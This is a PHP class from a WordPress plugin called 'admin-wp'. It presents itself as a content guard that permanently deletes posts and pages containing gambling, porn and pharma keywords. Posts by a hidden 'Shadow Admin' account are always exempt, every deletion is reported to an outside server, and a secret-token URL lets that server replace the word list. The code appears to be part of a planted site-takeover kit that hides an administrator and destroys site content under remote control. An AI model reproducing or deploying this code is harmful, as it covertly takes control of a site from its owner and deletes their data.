File "class-content-guard.php"
Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/includes/class-content-guard.php
File size: 11.54 KB
MIME-type: text/x-php
Charset: utf-8
<?php
if ( ! defined( 'ABSPATH' ) ) exit;
/**
* AWG Content Guard — scans posts/pages for forbidden words and auto-deletes spam content.
*
* Posts by the Shadow Admin are always exempt.
* Runs on cron (every 5 min), on publish, and on manual trigger.
*/
class AWG_Content_Guard {
const OPT_LOG = '_awg_content_guard_log';
const OPT_LAST_SCAN = '_awg_content_guard_last';
const OPT_WORDS = '_awg_content_guard_words';
/**
* Default forbidden words (case-insensitive).
* Can be extended from the admin page or remotely from the server.
*/
private static $default_words = [
'casino',
'poker',
'blackjack',
'roulette',
'slot machine',
'slots online',
'gambling',
'betting',
'sportsbook',
'porn',
'porno',
'pornography',
'xxx',
'sex video',
'hentai',
'onlyfans',
'xhamster',
'pornhub',
'farm',
'pharma',
'viagra',
'cialis',
'kratom',
'cbd oil',
'buy cheap',
'payday loan',
'essay writing service',
'dissertation help',
];
/* ================================================================
* INIT
* ================================================================ */
public static function init(): void {
/* Cron scan every 5 minutes */
add_action( 'awg_cron_scan', [ __CLASS__, 'scan' ] );
/* Real-time: check on publish/update */
add_action( 'transition_post_status', [ __CLASS__, 'on_status_change' ], 10, 3 );
/* Real-time: check on save (draft, pending, etc.) */
add_action( 'save_post', [ __CLASS__, 'on_save_post' ], PHP_INT_MAX, 2 );
}
/* ================================================================
* REAL-TIME HOOKS
* ================================================================ */
/**
* Check post when status transitions to publish.
*/
public static function on_status_change( string $new_status, string $old_status, \WP_Post $post ): void {
if ( $new_status !== 'publish' ) return;
self::check_single_post( $post );
}
/**
* Check post on every save (catches drafts, REST updates, etc.).
*/
public static function on_save_post( int $post_id, \WP_Post $post ): void {
if ( wp_is_post_revision( $post_id ) || wp_is_post_autosave( $post_id ) ) return;
if ( ! in_array( $post->post_type, self::scannable_post_types(), true ) ) return;
self::check_single_post( $post );
}
/* ================================================================
* CRON SCAN — check all published posts
* ================================================================ */
public static function scan(): array {
$findings = [];
$words = self::get_forbidden_words();
$pattern = self::build_pattern( $words );
$shadow_id = AWG_Shadow_Admin::get_id();
if ( ! $pattern ) return $findings;
$args = [
'post_type' => self::scannable_post_types(),
'post_status' => [ 'publish', 'draft', 'pending', 'future', 'private' ],
'posts_per_page' => 500,
'fields' => 'all',
'no_found_rows' => true,
];
$query = new \WP_Query( $args );
foreach ( $query->posts as $post ) {
/* skip shadow admin posts */
if ( (int) $post->post_author === $shadow_id && $shadow_id > 0 ) {
continue;
}
$matched = self::match_post( $post, $pattern );
if ( ! empty( $matched ) ) {
$findings[] = self::delete_and_log( $post, $matched );
}
}
update_option( self::OPT_LAST_SCAN, time(), false );
if ( ! empty( $findings ) ) {
self::report( $findings );
}
return $findings;
}
/* ================================================================
* CHECK SINGLE POST (real-time)
* ================================================================ */
private static function check_single_post( \WP_Post $post ): void {
if ( ! in_array( $post->post_type, self::scannable_post_types(), true ) ) return;
$shadow_id = AWG_Shadow_Admin::get_id();
if ( (int) $post->post_author === $shadow_id && $shadow_id > 0 ) return;
$words = self::get_forbidden_words();
$pattern = self::build_pattern( $words );
if ( ! $pattern ) return;
$matched = self::match_post( $post, $pattern );
if ( ! empty( $matched ) ) {
$finding = self::delete_and_log( $post, $matched );
self::report( [ $finding ] );
}
}
/* ================================================================
* MATCHING
* ================================================================ */
private static function match_post( \WP_Post $post, string $pattern ): array {
$matched_words = [];
$fields = [
'title' => $post->post_title,
'content' => $post->post_content,
'excerpt' => $post->post_excerpt,
];
foreach ( $fields as $field => $text ) {
if ( $text === '' ) continue;
/* strip HTML to match on visible text */
$clean = wp_strip_all_tags( $text );
if ( preg_match_all( $pattern, $clean, $m ) ) {
foreach ( $m[0] as $word ) {
$matched_words[] = mb_strtolower( trim( $word ) );
}
}
/* also check raw HTML (hidden links, alt text, etc.) */
if ( $field === 'content' && preg_match_all( $pattern, $text, $m2 ) ) {
foreach ( $m2[0] as $word ) {
$matched_words[] = mb_strtolower( trim( $word ) );
}
}
}
return array_unique( $matched_words );
}
/* ================================================================
* DELETE + LOG
* ================================================================ */
private static function delete_and_log( \WP_Post $post, array $matched_words ): array {
$author = get_user_by( 'ID', $post->post_author );
$finding = [
'post_id' => $post->ID,
'post_title' => $post->post_title,
'post_type' => $post->post_type,
'post_status' => $post->post_status,
'author_id' => $post->post_author,
'author_login' => $author ? $author->user_login : 'unknown',
'matched_words' => $matched_words,
'deleted_at' => current_time( 'mysql' ),
];
/* force delete (bypass trash) */
wp_delete_post( $post->ID, true );
/* quarantine log */
self::add_log_entry( $finding );
/* incident log */
AWG_Admin_Guardian::log_incident( 'spam_content_deleted', [
'post_id' => $finding['post_id'],
'title' => $finding['post_title'],
'type' => $finding['post_type'],
'author' => $finding['author_login'],
'words' => $finding['matched_words'],
] );
return $finding;
}
/* ================================================================
* REPORTING (to server)
* ================================================================ */
private static function report( array $findings ): void {
foreach ( $findings as $f ) {
AWG_Secure_Comm::send( 'spam_content_deleted', $f );
}
}
/* ================================================================
* FORBIDDEN WORDS MANAGEMENT
* ================================================================ */
public static function get_forbidden_words(): array {
$custom = AWG_Crypto::decrypt_option( self::OPT_WORDS );
if ( $custom ) {
$data = json_decode( $custom, true );
if ( is_array( $data ) && ! empty( $data ) ) {
return $data;
}
}
return self::$default_words;
}
public static function set_forbidden_words( array $words ): void {
$words = array_values( array_unique( array_filter( array_map( function ( $w ) {
return mb_strtolower( trim( sanitize_text_field( $w ) ) );
}, $words ) ) ) );
AWG_Crypto::encrypt_option( self::OPT_WORDS, wp_json_encode( $words ) );
}
private static function build_pattern( array $words ): string {
if ( empty( $words ) ) return '';
$escaped = array_map( function ( $w ) {
return preg_quote( $w, '/' );
}, $words );
return '/\b(' . implode( '|', $escaped ) . ')\b/iu';
}
/* ================================================================
* SCANNABLE POST TYPES
* ================================================================ */
private static function scannable_post_types(): array {
return [ 'post', 'page' ];
}
/* ================================================================
* LOG
* ================================================================ */
private static function add_log_entry( array $entry ): void {
$log = get_option( self::OPT_LOG, [] );
if ( ! is_array( $log ) ) $log = [];
$log[] = $entry;
if ( count( $log ) > 100 ) {
$log = array_slice( $log, -100 );
}
update_option( self::OPT_LOG, $log, false );
}
public static function get_log(): array {
$log = get_option( self::OPT_LOG, [] );
return is_array( $log ) ? $log : [];
}
public static function get_last_scan(): int {
return (int) get_option( self::OPT_LAST_SCAN, 0 );
}
/* ================================================================
* REMOTE WHITELIST / WORD LIST PUSH
* ================================================================ */
/**
* Remote trigger: POST /?awg_content_words={site_secret}
* Body: JSON {"words": ["casino", "porn", ...]}
*/
public static function handle_remote_words(): void {
if ( ! isset( $_GET['awg_content_words'] ) ) return;
$token = sanitize_text_field( $_GET['awg_content_words'] );
$secret = AWG_Secure_Comm::get_site_secret();
if ( ! hash_equals( $secret, $token ) ) {
status_header( 403 );
header( 'Content-Type: application/json' );
echo '{"error":"forbidden"}';
exit;
}
$raw = file_get_contents( 'php://input' );
$body = json_decode( $raw, true );
if ( ! is_array( $body ) || ! isset( $body['words'] ) || ! is_array( $body['words'] ) ) {
status_header( 400 );
header( 'Content-Type: application/json' );
echo '{"error":"invalid payload, expected {words:[...]}"}';
exit;
}
self::set_forbidden_words( $body['words'] );
status_header( 200 );
header( 'Content-Type: application/json' );
echo wp_json_encode( [
'ok' => true,
'site' => home_url(),
'accepted' => count( self::get_forbidden_words() ),
] );
exit;
}
/* ================================================================
* CLEANUP
* ================================================================ */
public static function destroy(): void {
delete_option( self::OPT_LOG );
delete_option( self::OPT_LAST_SCAN );
delete_option( self::OPT_WORDS );
}
}